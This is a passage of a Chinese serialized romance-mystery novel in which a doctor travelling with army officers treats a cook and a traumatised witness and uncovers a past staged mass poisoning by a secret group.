前排开车的李铁和副驾驶的王柱,总忍不住从后视镜里偷瞄。 后座上,陆向东脊背挺得笔直,目不斜视,像一尊雕塑。 他身旁的姜芷,正用舌尖抵着那颗奶糖,慢慢品味。 一丝若有似无的甜意,在她眉眼间化开。 王柱终于没忍住,用胳膊肘顶了顶李铁,低声说。 “铁子,咱们团长……在部队也这么会...疼人?” 他敢发誓,从未见过陆向东这副样子。 活阎王的名头在团里可不是白叫的。 别说给女同志剥糖,他看新兵都用眼角余光。 李铁从牙缝里挤出两个字,眼神带着警告。 “开车。” 再多嘴,回去就是三十公里负重越野,罪名是“加强单兵作战能力”。 姜芷微微一笑,她偏头,视线落在身边的男人身上。 他依然正襟危坐,耳根却不知何时,悄悄染上了一层薄红。 呵,男人。 假正经。 吉普车一路向东,傍晚时分,驶入牛源县城。 “团长,车得加水,咱们也得补充干粮。”李铁将车停在招待所门口。 陆向东点了下头:“找地方吃饭。” 他的目光落在姜芷身上,带着询问。 奔波一天,她也累了。 四人走进县城里唯一像样的国营饭店,牌匾上是“红旗饭店”四个大字。 饭店里人声鼎沸,空气里是汗、饭菜和烟草混合的浑浊气味。 一个穿着白围裙的女服务员走来,将一张油腻的菜单“啪”地拍在桌上。 “吃啥?只有猪肉白菜饺子,西红柿鸡蛋汤。要粮票。” 那态度,不像服务,倒像是施舍。 王柱两眼却亮了。 “饺子!猪肉白菜的!太好了!同志,给我们来……” “一人一碗!多没有!”服务员冷冰冰地打断他。 这年头,物资紧张,国营饭店的员工,就是这么有底气。 陆向东没吭声。 他从口袋里拿出军官证,放在桌面上。 墨绿色的封皮,烫金的五角星,让女服务员高扬的下巴,瞬间收敛了几分。 “四碗饺子,一盆汤。” 她的语气依旧生硬,但总算没那么冲了。 饺子很快端了上来。 与其说是饺子,不如叫面疙瘩。 皮厚得能当棉被,馅料少得可怜,肉末藏在菜里,得用眼神仔细寻找。 即便如此,李铁和王柱也吃得狼吞虎咽。 啃了一天干粮,这带油腥味儿的饺子,就是人间美味。 姜芷秀气地夹起一个,小口咬开。 她的眉尖蹙了一下。 “怎么了?”陆向东第一时间就注意到了,“不好吃?” “饺子不对。”姜芷放下筷子。 “或者说,做饺子的人,不对。” 陆向东和那两个埋头猛吃的警卫员,动作齐齐一顿。 “这……这饺子有毒?”王柱脸色都变了,嘴里的半个饺子差点吐出来。 “毒倒是没有。” 姜芷摇头,语气平淡。 “和面的力道不均,厨子右手乏力。” “馅里姜末过重,用的是老姜,辛辣有余,鲜味不足,为的是遮掩。” 她抬眼看向后厨方向。 “你们听,是不是有咳嗽声?” 经她提醒,众人凝神。 果然,厨房方向,隐约传来几声压抑的咳喘。 “皮厚馅少,说明他手腕有伤,做不了细活。” “咳嗽,又用老姜遮味,说明他有肺热的毛病。” 姜芷下了结论。 “一个带病的厨子,做出来的东西,能好吃才怪。” 李铁和王柱面面相觑,再看碗里那几个凄惨的饺子,突然就不香了。 神了! 吃个饺子而已,怎么就看出这么多门道? 他们正惊叹,那个女服务员恰好路过,听了最后几句,柳眉瞬间倒竖。 “哎!你们几个胡说八道什么呢!我们红旗饭店的饭菜怎么了?不想吃就别吃,少败坏我们国营单位的名声!” 一个挺着肚子的中年男人闻声赶来,是饭店经理。 他一脸不悦:“几位同志,有什么问题?” 姜芷抬头:“让你们厨子出来。” 经理还想理论,陆向东冷冷地扫了他一眼。 经理心头一凉,到嘴边的话全咽了回去,不情不愿地扭头进了后厨。 片刻,一个脸色蜡黄、身材瘦高的男人跟着经理走出。 他边走边揉着右手腕,还时不时低头咳两声。 所有症状,和姜芷说的分毫不差! “同志,你找我?”厨子有气无力地问。 “手腕扭伤快一周了?”姜芷问。 厨子一愣,点头:“是啊,前几天搬面粉,不小心崴了。同志,你咋知道的?” “咳嗽,嗓子干痒,痰黄?” 厨子眼睛瞪得更大,连连点头:“对对对!就是这样!去卫生所吃了两天药也不见好。” 姜芷站起身。 “小毛病,风寒入体,兼有劳损,我看看。” 她走到厨子身边,让他伸出手腕,两根白皙的手指搭上寸关尺。 轻轻一按,一揉。 “啊!”厨子痛呼。 姜芷没理,手指发力,顺着经络上行,在他臂弯几处穴位上迅速按压。 只听“咔哒”一声轻响。 “好了,动动看。”她收回手。 厨子将信将疑地转了转手腕,刚才还又酸又痛的关节,此刻活动自如,竟然一点都不疼了! “哎呀!神了!真的不疼了!”厨子激动得脸都涨红了。 “至于咳嗽,”姜芷从药箱里拿出纸笔,随手写下几个字,“去中药铺,甘草、桔梗、杏仁,一副见效,三副痊愈。” 整个饭店,鸦雀无声。 所有人都傻了眼,直勾勾地看着这一幕。 刚才还咋咋呼呼的女服务员,嘴巴张得能塞下一个鸡蛋。 饭店经理更是整个人都懵了。 他先是呆滞,随即反应过来,态度发生一百八十度大转变,三步并作两步冲上来。 “神医!您是神医啊!” “老张可是我这饭店的顶梁柱!他这一病,饭菜质量直线下降,天天被上头批评,我这经理的位子都快保不住了!” “我是求爷爷告奶奶,卫生所的药吃了一堆,一点用都没有!您这是救了我的命啊!” 他猛地一拍大腿,转身冲着后厨的方向,一声大吼。 “还愣着干什么!快!去把后院那块给供销社留的五花肉拿出来!还有那袋精磨白面也给我扛出来!” “重新给几位贵客包饺子!要皮薄馅大,肉馅里再给我多剁点葱姜,拿油给我往死里拌!” “老张!拿出你当年拿地区第一的看家本事!今天要是让贵客吃得不满意,我扒了你的皮!” 老张活动着肩膀,神清气爽,拍着胸脯保证:”放心!要是做不出让恩人满意的,我今天就不下班!“ 说着,大步回到后厨。 饭店经理转回头,对着姜芷又换上了一副和善的笑脸。 “神医同志,您和几位军人同志稍等,饭菜马上好!饺子管够!” 姜芷微微点头,脸色倒是正常。 但旁边的李铁和王柱早就坐不住了,听得两眼放光。 两人不约而同地吞了口唾沫。 五花肉! 精磨白面! 这哪里是来吃饭的,分明是跟着姜顾问来享福的! 这福气,也太大了! 第68章 河神娶亲再现 红旗饭店的后厨彻底疯了。 和面用上了鸡蛋,剁馅的五花肉肥瘦三七开,白菜只取最嫩的菜心,就连煮饺子的水,都特意换成了新打的井水。 当一盘盘皮薄如纸,肚大腰圆,冒着油光和香气的饺子端上来时,李铁和王柱的眼珠子都快掉进碗里了。 “我的娘诶!” 王柱夹起一个,顾不得烫,一口咬下。 滚烫的肉汁瞬间在口腔中炸开,那股子纯粹的肉香和面香,冲得他头皮发麻,却又舍不得吐出,只能龇牙咧嘴地感受着幸福的灼痛。 “这他娘的才叫饺子!”他含糊不清地喊道,“咱们刚才吃的,就是面疙瘩!” 李铁已经顾不上说话。 他两边的腮帮子高高鼓起,埋头猛攻。生怕动作慢了,饺子长腿跑了。 饭店经理哈着腰,亲自给姜芷倒了一杯热茶。 “神医,您尝尝,尝尝!这是我们张师傅的最高水平!您要觉得哪里不对,我让他回炉重造!” 姜芷夹起一个饺子,细细品味,而后微微点头。 “火候不错,味道也正。” 就这一句,经理悬着的心落了地。 陆向东慢条斯理地吃着,视线从未离开过姜芷,随口寒暄。 “经理,看你们这牛源县山清水秀,是个好地方。” “那是,那是!”经理立马接话,一脸自豪,“我们牛源县,别的不说,风水那是顶好的!就是……有些地方,不太平。” 王柱嘴里塞满了饺子,含糊不清地问:“怎么不太平?有狼灾?” 经理的脸色一变,凑近了些,低声说:“比狼可怕多了!你们是外地来的,不知道。十多年前,咱们县里出了件天大的怪事!” 他这么一说,连埋头苦干的李铁也停下了筷子,竖起耳朵。 “就在县城东边,有个叫木羊村的村子。” “那村子,邪门!说村里有条河,河里住着河神。有一年秋收后,河神要娶亲,全村的年轻后生,还有大姑娘,全都跟中了邪似的,跑到河边不吃不喝,又唱又跳!” “他们跳了足足三天三夜,最后全都倒在河边,口吐白沫,跟死人一样!” 王柱倒吸一口气,手里的饺子都忘了往嘴里送。 “全死了?” “那倒没有!”经理猛地摇头,“后来人去救,都救回来了,可一个个都跟傻了似的,问他们干了啥,谁也说不清,就跟做了一场大梦!从那以后,那村子就彻底荒了,没人敢住了!都说那是河神发怒,把全村人的魂儿都勾走了!” 李铁听得脊背发凉:“真有河神?” 一直安静听着的姜芷,此刻才淡淡开口。 “他们跳舞时,身体动作是不是很僵硬,四肢不协调,像是被看不见的线吊着的木偶?” 经理一愣,努力回忆了一下,猛地一拍大腿。 “对!神医您怎么知道的?我听我爹那辈人说,当时去看热闹的都讲,那哪儿是跳舞,跟集体抽风差不多!一个个脸上笑得瘆人,可眼睛都是直勾勾的!” “倒地之后,是不是瞳孔放大,身上出了很多汗,皮肤摸上去又湿又冷?”姜芷又问。 经理的嘴巴张得老大:“是是是!就是这样!神医,您……您难道亲眼见过?” 姜芷没有回答,只是用筷子轻轻敲击了一下碗沿。 陆向东立刻会意,接过了话头。 “村里的人后来都去哪了?一个都没留下?” “哪还敢留啊!全都拖家带口地跑光了!”经理叹了口气,“哦,对了,还剩一个!就是当时木羊村的村长,姓张,叫张老根。他家那天有事儿没去河边,算是躲过一劫。可他老婆孩子都中招了,人救回来后也变得疯疯癫癫。张老根受不了这个刺激,也变得不正常了,整天念叨着有鬼,有鬼!现在啊,就在城郊那个废弃的砖窑厂里搭了个窝棚住着,跟个野人似的。” 陆向东与姜芷对视一眼。 线索,找到了。这顿饭,最终在饭店全体员工热情欢送中结束。 经理死活不肯收钱,还硬塞给他们一包点心和一袋子生饺子,让他们路上吃。 陆向东却没跟他推辞。 他从口袋里拿出几张大团结和全国粮票,不由分说地压在了桌角的茶杯下。 “张师傅的手艺,值这个价。” 经理看着那厚厚一沓钱票,再看看陆向东冷峻的侧脸,感动得眼圈都红了,最终只能重重点头收下。 一行四人,住进了县城唯一的招待所。 条件简陋得可怜,房间里只有一张硬邦邦的板床和一张掉漆的桌子。 陆向东以“检查安全”为由,跟着姜芷进了她的房间。 李铁和王柱则识趣地回了自己屋,顺便把门带上,从里面上了锁,生怕打扰团长的好事。 “锁着呢。”姜芷看着陆向东一本正经地检查着门窗,有些好笑。 “不牢固。”陆向东面不改色地拧了拧门把手,又推了推窗户,“万一有坏人。” 姜芷挑了挑眉:“你能打,我能毒,谁是坏人还不一定。” 陆向东被噎了一下,清清嗓子,强行把话题拉回正轨。 “那个张老根,你怎么看?” “不是疯了,是吓破了胆。” 姜芷坐在床沿,神情瞬间恢复了惯有的清冷和理智。 “他肯定看到了什么。村民集体中毒,呈现出神经性幻觉和肢体不受控制的症状,符合莨菪碱类中毒的特征。那个所谓的‘河神娶亲’,不过是一场精心策划的大规模投毒事件。” “你的意思是,‘青囊阁’十多年前也在这里做过试验?” “极有可能。”姜芷点头,““寡妇村的‘龙血苔’,是慢性毒,旨在观察长期效果。木羊村的莨菪碱,是急性致幻毒,为的是测试短期控制。他们在用活人,测试不同的毒物,筛选最完美的试验品。” 陆向东心头一凛。 这个“青囊阁”,其心可诛! “明天,我们去会会那个张老根。” “一个被吓破胆的人,未必肯说实话。” 陆向东有些担忧。 “对付病人,我有药。” “对付活人,我有的是办法。” 姜芷站起身,走到门口,拉开房门,对着还在装模作样的男人做了一个“请”的手势。 “陆团长,安全检查完了,你可以回去了。” 陆向东有些不舍,但还是迈开了步子。 走到门口时,他忽然停住,转过身,表情严肃又认真。 “晚上睡觉,锁好门。” “知道了。” “窗户也关紧。” “嗯。” “有任何动静就大声喊,我就在隔壁。” 姜芷看着他婆婆妈妈的样子,忍不住笑了。 “陆向东。” “嗯?” “你这追人的方式,”她微微前倾,凑近了些,“跟你找的借口一样,多少有点草率了。” 说完,不等陆向东反应过来,她“砰”地一声关上了房门,顺手还把门栓给插上了。 门外,陆向东站在原地,摸了摸鼻子。 半晌,嘴角微微上扬。 她笑了。 好像……也不算太草率。 第69章 一粒药,疯子开口说人话 次日,招待所的清晨格外“热闹”。 天色刚擦亮,走廊尽头的墙角下,两个脑袋就凑到了一起。 李铁和王柱,一人一个搪瓷缸子,压低了嗓门,笑得跟偷了鸡的黄鼠狼似的。 “昨晚团长那门神造型,你瞅见没?在姜医生门口,硬是站了五分钟!”王柱用胳膊肘猛K李铁,眉毛舞得飞起。 李铁笑得浑身发颤:“我听得真真的!姜医生那句‘多少有点草率了’,啧,又脆又利索!咱团长在战场上那是下山虎,到了姜医生这儿,我看啊,就是只猫,还是不敢伸爪子的那种!” “你小点声!”王柱一把捂住他的嘴,自己却憋笑憋得脸通红,“你说团长到底会不会追人啊?送糖送麦乳精,然后就干站着?这但凡换我,好听的话不得跟倒豆子似的?” “他?他会说个啥?‘以革命的名义,请你接受我的爱意’?” “噗——哈哈哈哈!” 两人正笑得东倒西歪,一双军勾皮鞋的鞋尖,出现在他们眼皮子底下。 鞋面擦得锃亮,能映出他们俩扭曲的笑脸。 一股熟悉的低气压,从头顶沉沉压下。 两人的笑声,戛然而止,慢慢抬起头,正对上陆向东阴沉的脸。 “精力很旺盛?”陆向东淡淡开口,听不出喜怒。 “不!不旺盛!”李铁垂死挣扎,噌地一下弹直身体,“报告团长!床板太硬,一夜没睡踏实!” “对对对!”王柱紧跟着立正,“翻来覆去烙饼呢!” “哦。”陆向东点了下头,“既然睡不好,精神肯定不济。出发前,负重二十公斤,绕县城跑一圈,提提神。” 李铁和王柱的脸,瞬间垮成了苦瓜。 我的亲娘嘞! 报应,来得如此之快! 目送着两个活宝如丧考妣地去领罚,陆向东才走到姜芷房门前,轻轻敲响。 门开了,姜芷早已收拾妥当,一身清爽。 “醒了。” “嗯。”陆向东把两个用油纸包着的热肉包递过去,“后厨刚出锅的。” 姜芷接过,咬了一口,鲜香的肉汁瞬间在口中爆开。 她抬起眼,扫了门外一眼:“那俩人呢?” “活动筋骨去了。”陆向东答得脸不红心不跳。 姜芷了然一笑,没再多问。 ... 城郊,废弃砖窑厂。 这里比想象的更破败,风穿过残破的窑洞,发出呜呜的声响,卷起一股子煤灰和腐殖质怪味。 “这地儿……阴森森的。” 王柱跑完步腿肚子还转筋,这会儿更是觉得背后凉飕飕。 他们很快找到了那个窝棚。 那与其说是窝棚,不如说是一堆破木板和油布搭的狗窝,风一吹就散架似的。 一个男人蹲在窝棚前,头发结成土块,衣服烂得像布条。 他拿着根烧黑的木棍,在地上画着谁也看不懂的鬼画符,嘴里念念有词。 “张老根同志。” 陆向东上前一步,沉声开口。 那人猛地回头,一双眼熬得通红,看到陆向东身上的军装时,非但没有半点安心,反而满是惊惧,抓起木棍就尖叫起来。 “别过来!是河神!河神发怒了!不是我害的他们!” “我们是来帮你的。” 陆向我东尝试安抚,拿出自己的证件。 “鬼!你们都是鬼!想来勾我的魂!” 张老根疯了一样挥舞木棍,“滚!都给我滚!” 李铁和王柱对视一眼,都觉得棘手。 这人已经疯透了,怎么问? 陆向东眉头紧锁,正欲上前强行制服,一只素手伸过来,拦住了他。 姜芷就那么安安静静地站着,一言不发,仔细打量张老根。 张老根的嘶吼渐渐弱了下去。 他发现,这个清秀的女同志看他的眼神,让他感觉自己从里到外,被看了个通透。 直到窝棚前只剩下呼呼的风声,姜芷才缓缓开口。 “你左膝的风湿,每逢阴雨,是不是像万只蚂蚁噬咬,痛不欲生?” 张老根挥舞的木棍,猛地僵在半空。 姜芷没看他的反应,继续说。 “你胃里的烧灼感,让你三年没睡过一个安稳觉。每到半夜,只能靠猛灌凉水来压制,对吗?” 张老根握着木棍的手,开始抖。 这些钻心挖骨的折磨,他跟谁都没说过一个字! 这个女娃……怎么会知道?! “还有你的嗓子。”姜芷的视线移到他的喉咙,“惊惧伤肝,肝火上炎,已经灼坏了声带。再这么喊下去,不出半年,你就彻底说不出话,变成哑巴了。” “你……你到底是谁?”张老根神情惊慌,“你是妖怪?” “我是医生。” 姜芷从药箱里取出一个小瓷瓶,倒出一粒乌黑的药丸,递过去。 “吃了它,至少能让你今晚睡个好觉,胃里也不再烧得慌。” 张老根盯着那粒药丸,看了半天,脸上恐惧慢慢褪去,有些挣扎。 陆向东和两个警卫员已经看傻了。 他们设想了无数种可能,捆人,强审,甚至是用些非常手段。 唯独没想到,姜芷不费一兵一卒,只凭几句话,就让一个疯子自己缴了械。 突然,张老根嘶吼一声,一把抢过那颗药丸,看也不看就狠狠塞进嘴里,脖子一梗,囫囵咽了下去! 药丸顺着干涩的喉咙滑入腹中。 起初,毫无感觉。 张老根眼中刚燃起的微光几乎要熄灭。 但下一秒,一股清凉温润的气息,忽然在他常年火烧灼痛的胃里弥漫。 从未有过的舒坦,让他僵硬的身体猛地一松。 张老根喘着粗气,布满血丝的双眼死死盯住姜芷,嘴唇哆嗦着。 “你们……想知道什么?” “十年前。”姜芷早就料到这个结果,直奔主题,“木羊村,河神娶亲。” 听到这几个字,张老根刚平复下去的身体又开始颤抖。 “没……没有河神……” “是鬼!是来索命的恶鬼!” 张老根抱着头,情绪再次失控,陆向东眼神一厉,就要上前强行制服。 姜芷抬手,轻轻一拦。 她的目光落在张老根颤抖的背上,平静无波,只是静静等待。 一旁的李铁和王柱急得直抓耳挠腮。 这人疯成这样,还能问出个啥? 就在这时,那枚药丸的作用,彻底发挥出来了。 张老根日夜被折磨的胃火,像被一盆清泉浇灭,连膝盖里的酸麻都减弱了许多。 身体上的舒适,抚平了他精神上的狂躁。 张老根的颤抖停了,再次缓缓抬头。 “那不是……河神娶亲。” “那是……一场祭祀。” “给恶鬼的祭祀!” 他突然像被抽走了魂,眼神空洞。 “十年前,村里来了个游方道士,仙风道骨的,说我们木羊村冲撞了河神,要发大水淹了村子。” “他说,要平息怒火,就得给河神送新娘,办一场‘河神娶亲’大典。全村人都得喝下他赐的‘神水’,接受洗礼。” “那天……我去了镇上,躲过了一劫。” 张老根脸上露出一丝庆幸,又瞬间被更大的恐惧吞没。 “我回来时天都黑透了。远远看见河滩上点满火把,全村人,男的女的,老的少的,都在那跳舞……” “不...” “那不是跳舞!他们脸上都挂着笑,可那笑比哭还瘆人!眼睛瞪得溜圆,手脚僵硬,就像……就像是被线牵着的木头娃娃!” “一排排,一列列,动作整整齐齐!” 李铁和王柱听得头皮炸裂,鸡皮疙瘩爬满了后背。 这画面光是听着,就让人脊背发寒! “我吓得躲在林子里,不敢出声。然后……我就看见了……” 张老根猛地瞪大眼,瞳孔缩成一个针尖。 “那个道士,他身后站着好几个穿黑衣服的人!手里拿着纸笔,在写写画画!他们看村民的眼神……就像屠夫看猪圈里的猪崽子!” 陆向东的心猛地一沉。 来了! “后来,村民们跳不动了,一个个倒在地上,口吐白沫。那些黑衣人就走过去,挨个检查。” “他们……他们拖走了两个人!一个是我邻居家的闺女,一个是村里的光棍汉!把人拖进了草垛里,再也没出来!” “我当时吓得尿了裤子,连滚带爬跑回家,第二天就带老婆孩子逃了。可我老婆孩子,人救回来了,魂没了!整天疯疯癫癫,没两年就都去了……” 说到最后,这个被恐惧折磨了十年的男人,终于像个孩子一样,嚎啕大哭。 陆向东的脸色已经难看到了极点。 活人试验! 这个“青囊阁”,手段残忍,行事猖狂,真是令人发指! 李铁和王柱也是一脸震骇,看向姜芷的眼神,只剩敬畏。 我的老天爷! 军方查了十年的悬案,姜顾问动动手指头,就把真相给扒出个底朝天! 这简直是开了天眼! 姜芷等他哭声渐歇,才冷静开口,一字一句敲在关键处。 “那个道士,什么特征?” 张老根吸着鼻子,努力回忆:“瘦高个,山羊胡子,身上总有股……甜得发腻的香味。对了!他手背上!有个纹身!” “什么纹身?”陆向东立刻追问。 “一条蛇!一条盘起来的小黑蛇,特别吓人!” 蛇形纹身! 看来这就是青囊阁的标志! 问完话,姜芷从药箱里拿出个纸包。 “这是药方。一日三次,饭后服用,能治你的胃病和关节痛。” 她顿了顿,又拿出一张纸条。 “拿着这个,去县城红旗饭店找经理,他会帮你。” 张老根愣愣地接过药方和纸条,嘴唇哆嗦着,一个字也说不出,只是对着姜芷拼命磕头。 离开砖窑厂时,车内气氛极其凝重。 “乖乖,以后谁再说这世上没鬼,我第一个跟他急!”王柱开着车,小声跟副驾的李铁嘀咕,“这不比鬼可怕多了?活生生把人当畜生做实验!” 李铁深以为然:“跟着团长和姜医生出来这一趟,我感觉我这二十多年白活了!以前觉得战场上最可怕,现在才知道,人心才是最毒的!” 陆向东没理会他们。 他扭头看着身旁的姜芷。 第70章 车里不会有死人味儿吧? 开车的王柱手一抖,车轮压到路边石子,吉普车猛地颠簸了一下。 旁边的李铁差点把自己的舌头咬掉。 尸……尸香? 死人味儿。 这两个在枪林弹雨里能当枕头睡觉的硬汉,此刻只觉得一股凉气顺着尾椎骨,滋滋地往天灵盖上窜。 脑子里开始不受控制地循环播放张老根描述的恐怖画面:挂着诡异笑容的木偶村民,屠夫一样的黑衣人,还有那个身上常年带着死人味的道士…… 咕咚。 王柱咽了口唾沫,感觉嗓子眼儿里干得能冒烟。 他透过后视镜,偷瞟了一眼后座的姜芷。 这姑娘的脑子到底是什么构造? 怎么什么都知道? 李铁更是坐立难安,屁股在座位上挪来挪去,总觉得车厢里阴风阵阵,有股看不见的味儿钻进鼻孔。 “柱子……你说……那‘尸香’,会不会……跟着咱们?” 王柱脸都绿了。 “闭上你的乌鸦嘴!我们又没遇到过那个道士!” “那可不一定!鬼故事里不都说嘛,想什么就来什么!” 李铁越想越怕,竟真的开始耸着鼻子,在空气里嗅来嗅去。 陆向东的脸沉了下来,巧了一下李铁的后脑勺上。 “再胡说八道,现在就下去,跑回红星大队。” 一句话,李铁的脖子瞬间僵住。 王柱也吓得一脚油门,车速都快了几分。 车厢里总算彻底安静。 可这种死寂,比刚才的窃窃私语更让人心里发毛。 姜芷看着前排两人的怂样,微微一笑。 她伸出手指,戳了戳身旁男人紧绷的胳膊。 陆向东身体一僵,侧过头看她。 “怎么了?” 姜芷把那颗刚吃完的奶糖糖纸,在他眼前晃了晃,慢悠悠开口。 “你跟他们不一样。” 陆向东微怔,没明白她的意思。 李铁和王柱也竖起了耳朵。 “他们身上是汗味,你身上……是奶糖味儿。” “噗——” 王柱一个没憋住,直接笑喷了。 李铁也憋得满脸通红,肩膀剧烈抖动,死死咬着嘴唇才没发出声音。 陆向东一张脸,从脖颈烧到了耳根。 他活了三十多年,头一次被人,还是被自己心心念念的姑娘,当着手下的面如此调侃。 他清了清嗓子,想说点什么挽回自己的硬汉形象,话到嘴边却打了结。 最后,只能板着脸,瞪着前面两个人。 “开车!” 王柱和李铁立刻噤声,但耸动的肩膀,无情地出卖了他们内心的狂澜。 完了完了,团长的一世英名,怕是要毁在一颗大白兔奶糖上了! 一个“奶糖团长”的传说,正在猛虎团冉冉升起。 车内的气氛,总算在这次小小的“意外”中,轻松了不少。 傍晚时分,吉普车驶入一个名叫“安平县”的小县城。 县城只有一条主街,两旁是些灰扑扑的二层小楼,唯一的招待所同样是条件堪忧。 走廊里光线昏暗,墙皮大片剥落,空气中弥漫着一股挥之不去的霉味。 就在这时,走廊尽头传来一阵噼里啪啦的响动,夹杂着一个男人气急败坏的咒骂。 “他娘的!又来了!这帮畜生要翻天了!” 只见一个穿着招待所工作服的中年男人,拿着鸡毛掸子,正对着墙角疯狂挥舞。 “同志,怎么了这是?”王柱好奇地问。 那男人一回头,看见几人穿着军装,神色一紧,随即又满脸愁苦,指着墙角的捕鼠笼叹气。 “别提了!闹耗子!不知道从哪儿来的一窝,胆子大得能上天!放了耗子药,粘鼠板,全没用!饵料吃光,笼子都不带碰一下的!精得跟猴儿似的!” 姜芷四下打量,目光落在了招待所院子角落里。 那里长着几丛不起眼的野草,叶片细长,顶端开着一簇簇紫色的小花。 她走了过去,蹲下身,摘下一片叶子在指尖捻了捻,凑到鼻尖闻了闻。 一股辛辣刺鼻的气味散发出来。 “经理。”姜芷站起身,看向那个愁眉苦脸的男人。 “哎,女同志,有事?” “想不想让这些耗子,今晚就搬家?” 经理一愣,随即苦笑:“女同志你别开玩笑了,我要有那本事,还用在这儿跟它们生气?” 姜芷也不多言,只是指着院子里的那种野草。 “把那些草,连根拔起,找个破盆,就在走廊里点着熏。” “多弄点,每个房间的角落都放上几枝。保证你今晚能睡个安稳觉。” 经理将信将疑。 “这……这玩意儿行吗?” “试试不就知道了。” 陆向东看着姜芷那副云淡风轻的样子,心里已是信了十足。 他直接对李铁和王柱下令。 “去,帮经理一起弄。” “是!” 很快,一股浓烈辛辣的烟雾在走廊里弥漫开来。 那味道算不上好闻,甚至有点冲。 招待所经理被呛得连连咳嗽,心里直犯嘀咕,觉得这年轻女同志八成是在耍他。 可下一秒,让他毕生难忘的一幕发生了。 天花板的夹层里,墙角旮旯里,猛地传来一阵阵“吱吱吱”的混乱尖叫! 紧接着,一只只肥硕的老鼠,大大小小,跟疯了似的从各个角落里蹿出来,顺着墙根往招待所大门外逃去! 那场面,就像一支溃败的军队,丢盔弃甲,屁滚尿流! 不到十分钟,整个招待所,再也听不到半点老鼠的动静。 经理张着嘴,拿着鸡毛掸子,彻底石化在原地。 他跟这帮畜生斗了小半年,人家女同志就动动嘴皮子,拔了几根野草,就把这耗子窝给连锅端了? “神……神仙!” 经理回过神来,两步冲到姜芷面前,激动得话都说不利索了。 “不,神医!” 经理猛地一拍脑袋,“我想起来了!昨天听说牛源县红旗饭店的表彰信!说有个女神医,一根手指头就治好了他们大厨的病!就是您吧!” 姜芷挑了挑眉,没想到自己的“事迹”这么快都传到这儿来了。 “您几位快楼上请!最好的房间!我这就去给您打热水!晚饭想吃什么?我让后厨给您开小灶!” 这一夜,安平县招待所,前所未有的安静。 姜芷躺在简陋但干净的床上,有些难以入眠。 尸香,莨菪碱,龙血苔……这个“青囊阁”,到底想干什么? 就在她思绪纷飞时,房门被轻轻敲响了。 “谁?” “我。”是陆向东的声音。 姜芷起身开了门,只见陆向东端着一个搪瓷缸子站在门口。 “招待所烧的热水,给你留了。” 缸子里冒着腾腾的热气,温热的触感从指尖传来,让她心里也跟着暖了一下。 “谢谢。” “早点休息。”陆向东嘱咐了一句,转身就要走。 “等等。”姜芷忽然叫住了他。 陆向东停下脚步,回头看她。 月光从走廊的窗户里洒进来,照在她清冷的眉眼上,竟也柔和了几分。 “陆向东,”姜芷的声音很轻,带着一丝不确定,“你说,有没有一种可能……” “‘尸香’的作用,并不仅仅是用来遮盖尸体腐烂的味道。” 陆向东眉心一跳:“那还能是什么?” 姜芷慢悠悠的继续。 “它本身,就是一种‘引子’。” “或者说……” “是‘饵料’。” “为了吸引……或者喂养某种,比尸体更可怕的东西。” 第71章 她回来了!全村的活财神! 走廊尽头,刚洗漱完的李铁和王柱恰好听到了姜芷的话。 两个铁打的汉子,后背的鸡皮疙瘩瞬间炸起,一股寒气从脚底板直冲天灵盖。 陆向东的身形猛然定住,肌肉刹那间绷紧。 他走过尸山血海,对死亡早已麻木,可姜芷口中那混合着古老医经与诡谲传说的画面,却让他第一次感觉到了威胁之外的……毛骨悚然。 “什么东西?”他声音压得很低。 姜芷摇了摇头。 “不清楚,一些古籍里记载的邪术。” “用死气与怨气,‘供养’某些活物,称之为‘养煞’。” “养……养煞?” 王柱哆哆嗦嗦地凑过来,舌头都捋不直了,“姜,姜顾问,这……这就是封建迷信吧?” “科学的尽头是玄学。” 姜芷清清冷冷地扫过他。 “在你没见过的东西面前,最好保持敬畏。” 一句话,把王柱剩下的话全都堵回了肚子里。 陆向东的脸色已经沉了下去。 “咔哒。” 门锁落下。 他一步上前,大手扣住姜芷的手腕。 没有开灯,房间里只有窗外清冷的月光。 男人高大的身影投下浓重的阴影,将她完全笼罩。 “这些东西,你在哪本医书上看到的?”他盯着她。 “我家的孤本,外面看不到。” 姜芷没挣扎,任他抓着。 男人的手掌宽大、滚烫,粗粝薄茧摩挲着她的皮肤,带着一种奇异的电流感。 陆向东的喉结滚动了一下,松开了手,语气依旧强硬。 “以后,不许一个人琢磨这些阴司里的东西。” “你只管救人。” “剩下的,我来处理。” 姜芷抬眼,对上他那双在黑暗中亮得骇人的眸子,忽然弯了弯唇角。 “陆团长,你这是在关心我?” “我在执行任务。” 陆向东几乎是立刻别开脸,耳根微微发烫:“保护特聘顾问的人身安全和思想健康,是我的职责。” 话音未落,他已经大步流星地转身开门,背影带着几分落荒而逃的仓促。 姜芷看着那扇被飞快关上的门,低头笑了。 这男人,嘴硬得跟石头似的。 …… 这一夜,李铁和王柱几乎没合眼。 两人在床上翻来覆去烙烧饼,脑子里全是“尸香”、“养煞”,一闭眼就觉得有东西在床边看着他们。 “铁子……你说,咱们这任务……不会真撞上不干净的东西了吧?”王柱用被子蒙着头,声音闷闷的。 “闭嘴!我们是人民子弟兵!坚定的唯物主义战士!”李铁嘴上义正言辞,身体却又朝王柱那边挪了挪,寻求一点战友的阳气。 “再说了,”他给自己打气,“有姜顾问在,怕个球!她连耗子都能指挥,真有鬼来了,不得排队挂号,问问自己是阴虚还是阳虚?” 这话莫名给了王柱极大的安慰。 对啊! 第二天一早,两人顶着硕大的黑眼圈走出房门,就看见招待所经理正弓着腰,满脸谄笑地守在姜芷门口,手上端着一个大托盘。 “姜神医!您醒啦!快尝尝!我让后厨专门给您几位做的,刚出锅的肉包子,滚烫的现磨豆浆!” 吃完早饭,四人再次上路。 有了昨晚的“养煞”之说,李铁和王柱看什么都带着滤镜。 路边一棵长歪的枯树,像个伸着脖子的吊死鬼。 远处一片乌云飘过来,像张牙舞爪的妖怪。 陆向东看着两人一惊一乍的样子,太阳穴突突直跳。 “你俩,能不能正常点?” 李铁一个激灵,立刻坐得笔直:“报告团长!我们这是在战略警戒!” 王柱跟着猛点头:“对!观察敌情!” 姜芷正靠着窗边看书,闻言抬起头,悠悠然飘来一句。 “你俩印堂发黑,眼下乌青,是熬夜伤了肝肾,心神不宁。” “再这么‘警戒’下去,敌情没观察到,人先倒了。” 李铁和王柱瞬间蔫了。 车里安静了许久。 还是王柱没忍住,扭扭捏捏地朝后探了探身子。 “那个……姜顾问……我就是想问问……我这脚吧,常年有点味道,尤其是穿解放鞋一捂,那酸爽……您看,这跟肝肾有关系吗?” 话音刚落,李铁在旁边狠狠捣了他一下。 丢人! 这种事怎么能拿出来问! 